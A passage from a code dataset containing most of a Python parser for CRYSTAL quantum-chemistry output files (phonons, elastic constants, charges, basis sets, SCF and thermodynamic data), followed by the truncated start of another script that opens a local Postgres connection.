range(len(freqs_container)):\n for n_at in natseq:\n if n_at in involved_atoms:\n continue\n # insert fake zero vectors for atoms which are not involved in a vibration\n for _ in range(3):\n freqs_container[fn].insert((n_at - 1) * 3, 0)\n ph_eigvecs.append(freqs_container[fn])\n\n if 'ANTI-PHASE' in item:\n self.warning(\n 'Phase and anti-phase eigenvectors found at k=(%s), the latter will be omitted' % kpoints[-1])\n break\n\n if len(ph_eigvecs) != len(self.info['phonons']['modes']['0 0 0']):\n raise CRYSTOUT_Error('Number of eigenvectors does not correspond to the number of freqs')\n\n if not kpoints:\n BZ_point_coord = '0 0 0'\n else:\n BZ_point_coord = kpoints[-1]\n\n # normalize special symmerty point coords, if exist\n if self.info['phonons']['ph_k_degeneracy']:\n BZ_point_coord = self.info['phonons']['ph_k_degeneracy'][BZ_point_coord]['bzpoint']\n bz_eigvecs[BZ_point_coord] = ph_eigvecs\n\n return bz_eigvecs\n\n def get_k_degeneracy(self):\n ph_k_degeneracy = self.patterns['ph_k_degeneracy'].search(self.data)\n if ph_k_degeneracy is None:\n return None\n\n k_degeneracy_data = {}\n lines = ph_k_degeneracy.group(1).splitlines()\n shr_fact = []\n k_vectors = []\n orig_coords = []\n degenerated = []\n\n for n in lines:\n if 'WITH SHRINKING FACTORS' in n:\n k = n.split()\n for j in k:\n if j.isdigit():\n shr_fact.append(int(j))\n else:\n k = [_f for _f in n.split(\" \") if _f]\n if len(k) == 4:\n orig_coord = k[2].strip().split()\n orig_coords.append(\" \".join(orig_coord))\n k_coords = [int(item) for item in orig_coord]\n degenerated.append(int(k[1].replace('.', '')))\n k_vectors.append(k_coords)\n\n if shr_fact is None or k_vectors is None:\n raise CRYSTOUT_Error('Invalid format in phonon k-vector degeneracy data')\n\n for vi in range(len(k_vectors)):\n norm_coord = []\n for n in range(len(k_vectors[vi])):\n norm_coord.append(\"%s\" % Fraction(k_vectors[vi][n], shr_fact[n]))\n k_degeneracy_data[orig_coords[vi]] = {'bzpoint': \" \".join(norm_coord), 'degeneracy': degenerated[vi]}\n\n return k_degeneracy_data\n\n def get_elastic(self, pattern):\n constants = []\n const_rows = self.patterns[pattern].findall(self.data)\n if not const_rows:\n return None\n for i_row, row in enumerate(const_rows[0]):\n constants.append([])\n for ec in range(i_row):\n constants[-1].append(constants[ec][i_row])\n # as number width is 9 in EC output, the numbers can glue together, which is undesirable\n # we can not just split a row\n row = row.strip().rjust(9 * (6 - i_row), ' ')\n constants[-1] += [float(row[n:n + 9]) for n in range(0, 9 * (6 - i_row), 9)]\n return constants\n\n def get_effective_elastic_moduli(self):\n moduli = self.patterns['effective_moduli'].findall(self.data)\n if not moduli:\n return [None, None, None, None, None, None, None, None]\n return [\n float('NaN' if '*' in moduli[0][n:n + 8] else moduli[0][n:n + 8])\n for n in range(0, len(moduli[0]), 8)\n if moduli[0][n:n + 8].strip()\n ]\n\n def decide_charges(self):\n charges, magmoms = [], []\n atomcharges = self.patterns['charges'].search(self.data)\n atommagmoms = self.patterns['magmoms'].search(self.data)\n\n if not atomcharges and self.properties_calc:\n atomcharges = self.patterns['charges'].search(self.pdata)\n if not atommagmoms and self.properties_calc:\n atommagmoms = self.patterns['magmoms'].search(self.pdata)\n\n # obtain formal charges from pseudopotentials\n iatomcharges = self.patterns['icharges'].findall(self.data)\n pseudo_charges = copy.deepcopy(atomic_numbers)\n for n in range(len(iatomcharges)):\n try:\n Z = int(iatomcharges[n][0].strip())\n P = float(iatomcharges[n][1].strip())\n except (ValueError, IndexError):\n raise CRYSTOUT_Error('Error in pseudopotential info')\n p_element = [key for key, value in pseudo_charges.items() if value == Z]\n if len(p_element):\n pseudo_charges[p_element[0].capitalize()] = P\n\n symbols = list(pseudo_charges.keys())\n\n if atomcharges is not None:\n parts = atomcharges.group().split(\"ATOM Z CHARGE SHELL POPULATION\")\n chargedata = parts[1].splitlines()\n for item in chargedata:\n if self.patterns['at_str'].match(item):\n val = item.split()\n val[1] = val[1].capitalize()\n val[3] = val[3][:6] # erroneous by stars\n if val[1] in symbols:\n val[3] = pseudo_charges[val[1]] - float(val[3])\n elif val[1] == 'Xx':\n val[3] = -float(val[3]) # TODO this needs checking\n else:\n raise CRYSTOUT_Error('Unexpected atomic symbol: ' + val[1])\n charges.append(val[3])\n try:\n self.info['structures'][-1].set_initial_charges(charges)\n except ValueError:\n self.warning('Number of atoms and found charges does not match') # some issues with CRYSTAL03\n else:\n self.warning('No charges available')\n\n if atommagmoms is not None:\n parts = atommagmoms.group().split(\"ATOM Z CHARGE SHELL POPULATION\")\n chargedata = parts[1].splitlines()\n for item in chargedata:\n if self.patterns['at_str'].match(item):\n val = item.split()\n val[3] = val[3][:6] # erroneous by stars\n magmoms.append(float(val[3]))\n try:\n self.info['structures'][-1].set_initial_magnetic_moments(magmoms)\n except ValueError:\n self.warning('Number of atoms and found magmoms does not match') # some issues with CRYSTAL03\n else:\n self.warning('No magmoms available')\n\n def get_born_charges(self):\n born_charges = {}\n charges = self.patterns['born_charges'].findall(self.data)\n for n in range(len(charges)):\n el = charges[n][0].split()[-1].strip().capitalize()\n try:\n born_charges.setdefault(el, []).append(float(charges[n][1]))\n except ValueError:\n self.warning('Unrecoverable problem with Born charges')\n return {}\n\n return {el: list(set(chglist)) for el, chglist in born_charges.items()}\n\n def get_input_and_meta(self, inputdata):\n version = None\n inputdata = re.sub(' PROCESS(.{32})WORKING\\n', '', inputdata) # Warning! MPI statuses may spoil valuable data\n v = self.patterns['version'].search(inputdata)\n if v:\n v = v.group().split(\"\\n\")\n major, minor = v[0], v[1]\n # beware of MPI inclusions\n if '*' in major:\n major = major.replace('*', '').strip()\n if '*' in minor:\n minor = minor.replace('*', '').strip()\n if ':' in minor:\n minor = minor.split(':')[1].split()[0]\n else:\n minor = minor.split()[1]\n version = major.replace('CRYSTAL', '') + ' ' + minor\n\n # get input data\n inputdata = inputdata.splitlines()\n keywords = []\n keywords_flag = False\n trsh_line_flag = False\n trsh_line_cnt = 0\n\n for n in range(len(inputdata)):\n if trsh_line_flag:\n trsh_line_cnt += 1\n if keywords_flag:\n keywords.append(inputdata[n].strip())\n if inputdata[n].strip() in [\"CRYSTAL\", \"SLAB\", \"POLYMER\", \"HELIX\", \"MOLECULE\", \"EXTERNAL\"]:\n keywords_flag = True\n keywords.extend([inputdata[n - 1].strip(), inputdata[n].strip()])\n if inputdata[n].startswith(\"END\"):\n trsh_line_flag = True\n trsh_line_cnt = 0\n\n if not keywords:\n # self.warning('No d12-formatted input data in the beginning found')\n return None, None, version\n\n keywords = keywords[:-trsh_line_cnt]\n comment = keywords[0]\n keywords = \"\\n\".join(keywords)\n\n return comment, keywords, version\n\n def decide_finished(self):\n if self.info['duration'] and 'TTTTTTTTTTTTTTTTTTTTTTTTTTTTTT ERR' not in self.data:\n self.info['finished'] = 0x2\n else:\n err = self.data.split(' ERROR **** ')\n if len(err) > 1:\n self.warning('Error: ' + err[1].split('\\n')[0])\n self.info['finished'] = 0x1\n\n def get_ph_sym_disps(self):\n symdisps = self.patterns['symdisps'].search(self.data)\n if symdisps is None:\n return None, None\n else:\n lines = symdisps.group().splitlines()\n plusminus = False\n if 'NUMERICAL GRADIENT COMPUTED WITH A SINGLE DISPLACEMENT (+-dx) FOR EACH' in self.data:\n plusminus = True\n\n disps, magnitude = [], 0\n for n in lines:\n r = self.patterns['needed_disp'].search(n)\n if r:\n disps.append([int(r.group(1)), r.group(2).replace('D', '').lower()])\n if plusminus:\n disps.append([int(r.group(1)), r.group(2).replace('D', '-').lower()])\n elif '= ' in n: # TODO CRYSTAL06\n magnitude = float(n.split()[1])\n if magnitude == 0:\n raise CRYSTOUT_Error('Cannot find displacement magnitude in FREQCALC output')\n if not len(disps):\n raise CRYSTOUT_Error('Cannot find valid displacement data in FREQCALC output')\n return disps, magnitude\n\n def get_static_dielectric_tensor(self):\n # TODO\n return \"\\n VIBRATIONAL CONTRIBUTIONS TO THE STATIC DIELECTRIC TENSOR:\\n\" in self.data or \\\n \"\\n VIBRATIONAL CONTRIBUTIONS TO THE STATIC POLARIZABILITY TENSOR:\\n\" in self.data\n\n def get_optics(self):\n refrind = self.patterns['refrind'].search(self.data)\n birefringence = self.patterns['birefringence'].search(self.data)\n\n if refrind is not None:\n indices = []\n for item in refrind.group().split():\n if '+' in item or '-' in item or 'NaN' in item:\n indices.append(float(item))\n # assert len(indices) == 3\n refrind = indices\n\n if birefringence is not None:\n birefringence = birefringence.group()\n mult = 1. if 'POSITIVE' in birefringence else -1.\n try:\n birefringence = float(birefringence.split('=')[-1].split()[0]) * mult\n except ValueError:\n birefringence = None\n self.warning('Unrecoverable problem with birefringence')\n\n return refrind, birefringence\n\n def get_bs(self):\n gbasis = {'bs': {}, 'ecp': {}}\n\n if \" ATOM X(AU) Y(AU) Z(AU) N. TYPE\" in self.data:\n bs = self.data.split(\" ATOM X(AU) Y(AU) Z(AU) N. TYPE\") # CRYSTAL<14\n else:\n bs = self.data.split(\" ATOM X(AU) Y(AU) Z(AU) NO. TYPE EXPONENT \") # CRYSTAL14\n\n if len(bs) == 1:\n if not self.info['input']:\n self.warning('No basis set found')\n\n # NB basis set is absent in output, input may be not enough\n return CRYSTOUT.parse_bs_input(self.info['input'], then=self.correct_bs_ghost)\n\n # NO BASE FIXINDEX IMPLEMENTED\n bs = bs[-1].split(\"*******************************************************************************\\n\", 1)[-1]\n bs = re.sub(' PROCESS(.{32})WORKING\\n', '', bs) # Warning! MPI statuses may spoil valuable data\n bs = bs.splitlines()\n\n atom_order = []\n atom_type = None\n\n for line in bs:\n if line.startswith(\" \" * 20): # gau type or exponents\n if line.startswith(\" \" * 40): # exponents\n if not atom_type or not len(gbasis['bs'][atom_type]):\n raise CRYSTOUT_Error('Unexpected or corrupted basis output - gaussian type or atom not given')\n line = line.strip()\n if line[:1] != '-':\n line = ' ' + line\n n = 0\n gaussians = []\n for item in line:\n if not n % 10:\n gaussians.append(' ')\n gaussians[-1] += item\n n += 1\n\n gaussians = [x for x in map(float, gaussians) if x != 0]\n # for n in range(len(gaussians)-1, -1, -1):\n # if gaussians[n] == 0: gaussians.pop()\n # else: break\n gbasis['bs'][atom_type][-1].append(tuple(gaussians))\n\n else: # gau type\n symb = line.split()[-1]\n\n if bs_concurrency:\n atom_type += '1'\n bs_concurrency = False\n try:\n gbasis['bs'][atom_type]\n except KeyError:\n gbasis['bs'][atom_type] = []\n else:\n raise CRYSTOUT_Error(\n 'More than two different basis sets for one element - not supported case')\n gbasis['bs'][atom_type].append([symb])\n\n else: # atom N or end\n test = line.split()\n if test and test[0] == 'ATOM':\n continue # C03: can be odd string ATOM X(AU) Y(AU) Z(AU)\n try:\n float(test[0])\n except (ValueError, IndexError):\n # endb, e.g. void space or INFORMATION **** READM2 **** FULL DIRECT SCF (MONO AND BIEL INT) SELECTED\n break\n\n atom_type = test[1][:2].capitalize()\n if atom_type == 'Xx':\n atom_type = 'X'\n atom_order.append(atom_type)\n\n try:\n gbasis['bs'][atom_type]\n except KeyError:\n gbasis['bs'][atom_type] = []\n bs_concurrency = False\n else:\n bs_concurrency = True\n\n # PSEUDOPOTENTIALS\n ecp = self.data.split(\" *** PSEUDOPOTENTIAL INFORMATION ***\")\n if len(ecp) > 1:\n # NO BASE FIXINDEX IMPLEMENTED\n ecp = ecp[-1].split(\"*******************************************************************************\\n\",\n 2)[-2]\n ecp = re.sub(' PROCESS(.{32})WORKING\\n', '', ecp) # Warning! MPI statuses may spoil valuable data\n ecp = ecp.splitlines()\n for line in ecp:\n if 'PSEUDOPOTENTIAL' in line:\n atnum = int(line.split(',')[0].replace('ATOMIC NUMBER', ''))\n if 200 < atnum < 1000:\n atnum = int(str(atnum)[-2:])\n atom_type = chemical_symbols[atnum]\n try:\n gbasis['ecp'][atom_type]\n except KeyError:\n gbasis['ecp'][atom_type] = []\n else:\n atom_type += '1'\n try:\n gbasis['ecp'][atom_type]\n except KeyError:\n gbasis['ecp'][atom_type] = []\n else:\n raise CRYSTOUT_Error('More than two pseudopotentials for one element - not supported case')\n else:\n lines = line.replace('-', ' -').split() # account merged fixed-width fields\n try:\n float(lines[-2])\n except (ValueError, IndexError):\n continue\n else:\n if 'TMS' in line:\n gbasis['ecp'][atom_type].append([lines[0]])\n lines = lines[2:]\n lines = list(map(float, lines))\n for n in range(len(lines) // 3):\n gbasis['ecp'][atom_type][-1].append(\n tuple([lines[0 + n * 3], lines[1 + n * 3], lines[2 + n * 3]])\n )\n\n # sometimes ghost basis set is printed without exponents and we should determine what atom was replaced\n if 'X' in gbasis['bs'] and not len(gbasis['bs']['X']):\n replaced = atom_order[atom_order.index('X') - 1]\n gbasis['bs']['X'] = copy.deepcopy(gbasis['bs'][replaced])\n\n return self.correct_bs_ghost(gbasis)\n\n @staticmethod\n def parse_bs_input(text, as_d12=True, then=lambda x: x):\n \"\"\"\n Note: input must be scanned only if nothing found in output\n input may contain comments (not expected by CRYSTAL, but user anyway can cheat it)\n WARNING the block /* */ comments will fail TODO?\n \"\"\"\n gbasis = {'bs': {}, 'ecp': {}}\n\n if not text:\n return gbasis\n\n comment_signals = '#/* 2:\n parts[0] = parts[0][-2:]\n if int(parts[0]) == 0:\n atom_type = 'X'\n else:\n atom_type = chemical_symbols[int(parts[0])]\n\n try:\n gbasis['bs'][atom_type]\n except KeyError:\n gbasis['bs'][atom_type] = []\n else:\n atom_type += '1'\n try:\n gbasis['bs'][atom_type]\n except KeyError:\n gbasis['bs'][atom_type] = []\n else:\n raise CRYSTOUT_Error(\n 'More than two different basis sets for one element - not supported case')\n continue\n\n elif len(parts) == 5:\n # this is ---- orbital\n gbasis['bs'][atom_type].append([bs_sequence[int(parts[1])]])\n parts = list(map(int, parts[0:3]))\n\n if parts[0] == 0:\n # insert from data given in input\n read_pseud, read_bs = False, True\n # 1 = Pople standard STO-nG (Z=1-54);\n # 2 = Pople standard 3(6)-21G (Z=1-54(18)) + standard polarization functions\n elif parts[0] in bs_type:\n # pre-defined insert\n if parts[2] in bs_notation:\n gbasis['bs'][atom_type][-1].append(bs_type[parts[0]] + bs_notation[parts[2]])\n else:\n gbasis['bs'][atom_type][-1].append(bs_type[parts[0]] + 'n=' + str(parts[2]))\n\n elif 6 <= len(parts) <= 7:\n # this is ---- pseudo - INPUT\n parts.pop(0)\n ps_indeces = list(map(int, parts))\n ps_indeces_map = {}\n accum = 1\n for c, n in enumerate(ps_indeces):\n if n == 0:\n continue\n ps_indeces_map[accum] = ps_sequence[c]\n accum += n\n distrib = 1\n read_pseud, read_bs = True, False\n\n return then(gbasis)\n\n def correct_bs_ghost(self, gbasis):\n # ghost cannot be in pseudopotential\n atoms = []\n for atom in self.info['structures'][-1].get_chemical_symbols():\n if atom not in atoms:\n atoms.append(atom)\n\n for k, v in gbasis['bs'].items():\n # sometimes no BS for host atom is printed when it is replaced by Xx: account it\n if not len(v) and k != 'X' and 'X' in gbasis['bs']:\n gbasis['bs'][k] = copy.deepcopy(gbasis['bs']['X'])\n\n return gbasis\n\n def decide_method(self):\n\n # Hamiltonian part\n hamiltonian_parts = { # TODO\n 'DIRAC-SLATER LDA': {'name': 'LDA', 'type': 0x1},\n 'PERDEW-ZUNGER': {'name': 'PZ_LDA', 'type': 0x1},\n 'VOSKO-WILK-NUSAIR': {'name': 'WVN_LDA', 'type': 0x1},\n 'PERDEW-WANG LSD': {'name': 'PW_LDA', 'type': 0x1},\n 'VON BARTH-HEDIN': {'name': 'VBH_LDA', 'type': 0x1},\n\n 'PERDEW-WANG GGA': {'name': 'PW_GGA', 'type': 0x2},\n 'BECKE': {'name': 'B_GGA', 'type': 0x2},\n 'LEE-YANG-PARR': {'name': 'LYP_GGA', 'type': 0x2},\n 'PERDEW-BURKE-ERNZERHOF': {'name': 'PBE_GGA', 'type': 0x2},\n 'SOGGA': {'name': 'SOGGA', 'type': 0x2},\n 'PERDEW86': {'name': 'P86_GGA', 'type': 0x2},\n 'PBEsol': {'name': 'PBESOL_GGA', 'type': 0x2},\n 'WILSON-LEVY': {'name': 'WL_GGA', 'type': 0x2},\n 'WU-COHEN GGA': {'name': 'WC_GGA', 'type': 0x2},\n }\n exch, corr = '', ''\n\n if ' HARTREE-FOCK HAMILTONIAN\\n' in self.data:\n self.info['H'] = 'Hartree-Fock'\n self.info['H_types'].append(0x5)\n\n elif ' (EXCHANGE)[CORRELATION] FUNCTIONAL:' in self.data:\n exch, corr = self.data.split(' (EXCHANGE)[CORRELATION] FUNCTIONAL:', 1)[-1].split(\"\\n\", 1)[0].split(')[')\n exch = exch.replace(\"(\", \"\")\n corr = corr.replace(\"]\", \"\")\n\n try:\n self.info['H_types'].append(hamiltonian_parts[exch]['type'])\n exch = hamiltonian_parts[exch]['name']\n except KeyError:\n self.warning('Unknown potential: %s' % exch)\n try:\n if not hamiltonian_parts[corr]['type'] in self.info['H_types']:\n self.info['H_types'].append(hamiltonian_parts[corr]['type'])\n corr = hamiltonian_parts[corr]['name']\n except KeyError:\n self.warning('Unknown potential: %s' % corr)\n\n if exch == 'PBE_GGA' and corr == 'PBE_GGA':\n self.info['H'] = 'PBE'\n elif exch == 'PBESOL_GGA' and corr == 'PBESOL_GGA':\n self.info['H'] = 'PBEsol'\n else:\n self.info['H'] = \"%s/%s\" % (exch, corr)\n\n elif '\\n THE CORRELATION FUNCTIONAL ' in self.data:\n corr = self.data.split('\\n THE CORRELATION FUNCTIONAL ', 1)[-1].split(\"\\n\", 1)[0].replace(\"IS ACTIVE\",\n \"\").strip()\n name = corr\n try:\n name = hamiltonian_parts[corr]['name']\n self.info['H_types'].append(hamiltonian_parts[corr]['type'])\n except KeyError:\n self.warning('Unknown potential: %s' % corr)\n self.info['H'] = \"%s (pure corr.)\" % name\n\n elif '\\n THE EXCHANGE FUNCTIONAL ' in self.data:\n exch = self.data.split('\\n THE EXCHANGE FUNCTIONAL ', 1)[-1].split(\"\\n\", 1)[0].replace(\"IS ACTIVE\",\n \"\").strip()\n name = exch\n try:\n name = hamiltonian_parts[exch]['name']\n self.info['H_types'].append(hamiltonian_parts[exch]['type'])\n except KeyError:\n self.warning('Unknown potential: %s' % exch)\n self.info['H'] = \"%s (pure exch.)\" % name\n\n if '\\n HYBRID EXCHANGE ' in self.data:\n self.info['H_types'].append(0x4)\n hyb = self.data.split('\\n HYBRID EXCHANGE ', 1)[-1].split(\"\\n\", 1)[0].split()[-1]\n hyb = int(math.ceil(float(hyb)))\n\n if hyb == 25 and self.info['H'] == 'PBE':\n self.info['H'] = 'PBE0'\n elif hyb == 20 and exch == 'B_GGA' and corr == 'LYP_GGA':\n self.info['H'] = 'B3LYP'\n elif hyb == 20 and exch == 'B_GGA' and corr == 'PW_GGA':\n self.info['H'] = 'B3PW'\n else:\n ham = self.info['H'].split('/')\n ham[0] += \" (+\" + str(hyb) + \"%HF)\"\n self.info['H'] = '/'.join(ham)\n\n if not self.info['H']:\n self.warning('Potential not found')\n self.info['H'] = \"unknown\"\n\n # Spin part\n if ' TYPE OF CALCULATION : UNRESTRICTED OPEN SHELL' in self.data:\n self.info['spin'] = True\n if '\\n ALPHA-BETA ELECTRONS LOCKED TO ' in self.data:\n spin_info = self.data.split('\\n ALPHA-BETA ELECTRONS LOCKED TO ', 1)[-1].split(\"\\n\", 1)[0].replace(\n 'FOR', '').split()\n cyc = int(spin_info[1])\n if self.info['ncycles'] and self.info['ncycles'][0] < cyc:\n self.info['lockstate'] = int(spin_info[0])\n\n # K-points part\n if '\\n SHRINK. FACT.(MONKH.) ' in self.data:\n kset = self.data.split('\\n SHRINK. FACT.(MONKH.) ', 1)[-1].split()\n if len(kset) < 4:\n self.warning('Unknown k-points format')\n self.info['k'] = tuple([int(item) for item in kset[:3]])\n\n # Perturbation part\n if \"* * COUPLED-PERTURBED KOHN-SHAM CALCULATION (CPKS) * *\" in self.data:\n self.info['techs'].append('perturbation: analytical')\n elif \"\\n F F F F F F F F F F F F F F F F F F F F F F F F F F F F F F F F F F F F F F F\\n\" in self.data:\n self.info['techs'].append('perturbation: numerical')\n\n # Tolerances part\n if 'COULOMB OVERLAP TOL (T1)' in self.data:\n tol = [int(self.data.split('COULOMB OVERLAP TOL (T1)', 1)[-1].split(\"\\n\", 1)[0].split('**')[-1]),\n int(self.data.split('COULOMB PENETRATION TOL (T2)', 1)[-1].split(\"\\n\", 1)[0].split('**')[-1]),\n int(self.data.split('EXCHANGE OVERLAP TOL (T3)', 1)[-1].split(\"\\n\", 1)[0].split('**')[-1]),\n int(self.data.split('EXCHANGE PSEUDO OVP (F(G)) (T4)', 1)[-1].split(\"\\n\", 1)[0].split('**')[-1]),\n int(self.data.split('EXCHANGE PSEUDO OVP (P(G)) (T5)', 1)[-1].split(\"\\n\", 1)[0].split('**')[-1])]\n for n, item in enumerate(tol):\n if item <= 0:\n continue\n self.warning('Tolerance T%s > 0, assuming default' % n) # expected to happen only <= CRYSTAL09\n if n == 4:\n tol[n] = -12 # default for CRYSTAL09-17\n else:\n tol[n] = -6 # default for CRYSTAL09-17\n\n self.info['tol'] = tuple(tol)\n self.info['techs'].append(\"biel.intgs 10\" + \",\".join(map(str, tol)) + \"\") # TODO\n\n # Speed-up techniques part\n if '\\n WEIGHT OF F(I) IN F(I+1)' in self.data:\n f = int(self.data.split('\\n WEIGHT OF F(I) IN F(I+1)', 1)[-1].split('%', 1)[0])\n # TODO CRYSTAL14 default fmixing\n if 0 < f <= 25:\n self.info['techs'].append('mixing<25%')\n elif 25 < f <= 50:\n self.info['techs'].append('mixing 25-50%')\n elif 50 < f <= 75:\n self.info['techs'].append('mixing 50-75%')\n elif 75 < f <= 90:\n self.info['techs'].append('mixing 75-90%')\n elif 90 < f:\n self.info['techs'].append('mixing>90%')\n\n if ' ANDERSON MIX: BETA= ' in self.data:\n self.info['techs'].append('mixing by anderson')\n\n if '\\n % OF FOCK/KS MATRICES MIXING WHEN BROYDEN METHOD IS ON' in self.data:\n # mixing percentage, parameter and number of activation cycle\n f = int(\n self.data.split('\\n % OF FOCK/KS MATRICES MIXING WHEN BROYDEN METHOD IS ON', 1)[-1].split(\"\\n\", 1)[0])\n f2 = float(self.data.split('\\n WO PARAMETER(D.D. Johnson, PRB38, 12807,(1988)', 1)[-1].split(\"\\n\", 1)[0])\n f3 = int(\n self.data.split('\\n NUMBER OF SCF ITERATIONS AFTER WHICH BROYDEN METHOD IS ACTIVE', 1)[-1].split(\"\\n\",\n 1)[0])\n value = \"\"\n if 0 < f <= 25:\n value = 'broyden<25%'\n elif 25 < f <= 50:\n value = 'broyden 25-50%'\n elif 50 < f <= 75:\n value = 'broyden 50-75%'\n elif 75 < f <= 90:\n value = 'broyden 75-90%'\n elif 90 < f:\n value = 'broyden>90%'\n\n if round(f2, 4) == 0.0001:\n value += ' (std.)' # broyden parameter\n else:\n value += ' (' + str(round(f2, 5)) + ')'\n if f3 < 5:\n value += ' start'\n else:\n value += ' defer.'\n\n self.info['techs'].append(value)\n\n if '\\n EIGENVALUE LEVEL SHIFTING OF ' in self.data:\n f = float(\n self.data.split('\\n EIGENVALUE LEVEL SHIFTING OF ', 1)[-1].split(\"\\n\", 1)[0].replace('HARTREE', ''))\n if 0 < f <= 0.5:\n self.info['techs'].append('shifter<0.5au')\n elif 0.5 < f <= 1:\n self.info['techs'].append('shifter 0.5-1au')\n elif 1 < f <= 2.5:\n self.info['techs'].append('shifter 1-2.5au')\n elif 2.5 < f:\n self.info['techs'].append('shifter>2.5au')\n\n if '\\n FERMI SMEARING - TEMPERATURE SMEARING OF FERMI SURFACE ' in self.data:\n f = float(\n self.data.split('\\n FERMI SMEARING - TEMPERATURE SMEARING OF FERMI SURFACE ', 1)[-1].split(\"\\n\", 1)[0])\n self.info['smear'] = f\n\n if 0 < f <= 0.005:\n self.info['techs'].append('smearing<0.005au')\n elif 0.005 < f <= 0.01:\n self.info['techs'].append('smearing 0.005-0.01au')\n elif 0.01 < f:\n self.info['techs'].append('smearing>0.01au')\n\n def get_timings(self):\n starting = self.patterns['starting'].search(self.data)\n ending = self.patterns['ending'].search(self.data)\n\n if ending is None and self.properties_calc:\n ending = self.patterns['ending'].search(self.pdata)\n\n if starting is not None and ending is not None:\n starting = starting.group(1).replace(\"DATE\", \"\").replace(\"TIME\", \"\").strip()[:-2]\n ending = ending.group(1).replace(\"DATE\", \"\").replace(\"TIME\", \"\").strip()[:-2]\n\n start = time.mktime(time.strptime(starting, \"%d %m %Y %H:%M:%S\"))\n end = time.mktime(time.strptime(ending, \"%d %m %Y %H:%M:%S\"))\n duration = \"%2.2f\" % ((end - start) / 3600)\n else:\n self.warning(\"No timings available\")\n start = None\n duration = None\n\n return duration, start\n\n def decide_scfdata(self):\n if self.info['input'] is not None and \"ONELOG\" in self.info['input']:\n self.warning(\"ONELOG keyword is not supported\")\n return\n\n convergdata = []\n ncycles = []\n energies = []\n criteria = [[], [], [], []]\n optgeom = []\n zpcycs = self.patterns['cyc'].findall(self.data)\n\n if zpcycs is not None:\n for item in zpcycs:\n numdata = item.split(\" DETOT \")\n num = numdata[1].split()\n try:\n f = float(num[0]) * Hartree\n except ValueError:\n f = 0\n if f != 0 and not math.isnan(f):\n convergdata.append(int(math.floor(math.log(abs(f), 10))))\n\n else:\n self.warning('SCF not found')\n\n self.info['convergence'] = convergdata\n\n enes = self.patterns['enes'].findall(self.data)\n\n if enes is not None:\n for item in enes:\n item = item.replace(\"DFT)(AU)(\", \"\").replace(\"HF)(AU)(\", \"\").split(\")\")\n ncyc = item[0]\n if \"*\" in ncyc:\n ncyc = 1000\n ncycles.append(int(ncyc))\n ene = item[1].split(\"DE\")[0].strip()\n\n try:\n ene = float(ene) * Hartree\n except ValueError:\n ene = None\n energies.append(ene)\n\n n = 0\n for cr in [self.patterns['t1'], self.patterns['t2'], self.patterns['t3'], self.patterns['t4']]:\n kd = cr.findall(self.data)\n if kd is not None:\n for item in kd:\n p = item.split(\"THRESHOLD\")\n p2 = p[1].split(\"CONVERGED\")\n try:\n k = float(p[0]) - float(p2[0])\n except ValueError:\n k = 999\n if k < 0:\n k = 0\n criteria[n].append(k)\n n += 1\n\n # print len(criteria[0]), len(criteria[1]), len(criteria[2]), len(criteria[3]), len(energies)\n # ORDER of values: geometry, energy, tolerances\n if criteria[-1]:\n if len(criteria[0]) - len(criteria[2]) == 1 and len(criteria[1]) - len(\n criteria[3]) == 1: # if no restart, then 1st cycle has no treshold t3 and t4\n criteria[2].insert(0, 0)\n criteria[3].insert(0, 0)\n\n if len(criteria[0]) - len(criteria[2]) == 2 and len(criteria[1]) - len(\n criteria[3]) == 2: # convergence achieved without t3 and t4 at the last cycle\n criteria[2].insert(0, 0)\n criteria[2].append(criteria[2][-1])\n criteria[3].insert(0, 0)\n criteria[3].append(criteria[3][-1])\n\n if len(criteria[0]) - len(energies) == 1:\n self.warning(\n 'Energy was not printed at the intermediate step, so the correspondence is partially lost')\n energies.insert(0, energies[0])\n ncycles.insert(0, ncycles[0])\n\n if len(criteria[1]) - len(criteria[2]) > 1:\n self.warning('Number of the optgeom tresholds is inconsistent')\n\n if len(criteria[2]) > len(energies):\n self.warning(\n 'Energy was not printed at the intermediate step, so the correspondence is partially lost')\n\n lengths = [len(criteria[0]), len(criteria[1]), len(criteria[2]), len(criteria[3]), len(energies)]\n for n in range(max(lengths)):\n optgeom.append([\n criteria[0][n] if n < lengths[0] else None,\n criteria[1][n] if n < lengths[1] else None,\n criteria[2][n] if n < lengths[2] else None,\n criteria[3][n] if n < lengths[3] else None,\n energies[n] if n < lengths[4] else None\n ])\n\n self.info['ncycles'] = ncycles\n self.info['optgeom'] = optgeom\n\n def get_zpe(self):\n if \"\\n E0 :\" in self.data:\n zpe = self.data.split(\"\\n E0 :\")[1].split(\"\\n\", 1)[0].split()[0] # AU\n try:\n zpe = float(zpe)\n except ValueError:\n return None\n else:\n return zpe * Hartree\n else:\n return None\n\n def get_td(self):\n td = {'t': [], 'p': [], 'pv': [], 'ts': [], 'et': [], 'C': [], 'S': []}\n t = self.patterns['T'].findall(self.data)\n\n if t is not None:\n for item in t:\n td['t'].append(float(item[0]))\n td['p'].append(float(item[1]))\n\n pv = self.patterns['pv'].findall(self.data)\n\n if pv is not None:\n for item in pv:\n td['pv'].append(float(item.split()[1])) # EV/CELL\n\n ts = self.patterns['ts'].findall(self.data)\n\n if ts is not None:\n for item in ts:\n item = item.split()[1]\n try:\n item = float(item)\n if math.isnan(item):\n item = 0.0\n except ValueError:\n item = 0.0\n td['ts'].append(item) # EV/CELL\n\n et = self.patterns['et'].findall(self.data)\n\n if et is not None:\n for item in et:\n item = item.split()[1]\n try:\n item = float(item)\n if math.isnan(item):\n item = 0.0\n except ValueError:\n item = 0.0\n td['et'].append(item) # EV/CELL\n\n entropy = self.patterns['entropy'].findall(self.data)\n\n if entropy is not None:\n for item in entropy:\n item = item.split()[2]\n try:\n item = float(item)\n if math.isnan(item):\n item = 0.0\n except ValueError:\n item = 0.0\n td['S'].append(item) # J/(MOL*K)\n\n c = self.patterns['C'].findall(self.data)\n\n if c is not None:\n for item in c:\n item = item.split()[2]\n try:\n item = float(item)\n if math.isnan(item):\n item = 0.0\n except ValueError:\n item = 0.0\n td['C'].append(item) # J/(MOL*K)\n\n if td['t'] and td['pv'] and td['ts'] and td['et']:\n return td\n\n else:\n self.warning('Errors in thermodynamics')\n return None\n","sub_path":"pycrystal/output.py","file_name":"output.py","file_ext":"py","file_size_in_byte":75552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"454345041","text":"import csv\nimport re\nimport sys\nimport subprocess\nimport psycopg2\nimport json\nimport math\nimport random\nimport time\n\n# Open Connection to database\nconn = psycopg2.connect(database = \"test\", user = \"postgres\", password = \"\", host = \"localhost\", port = \"5432\")\n\ncur = 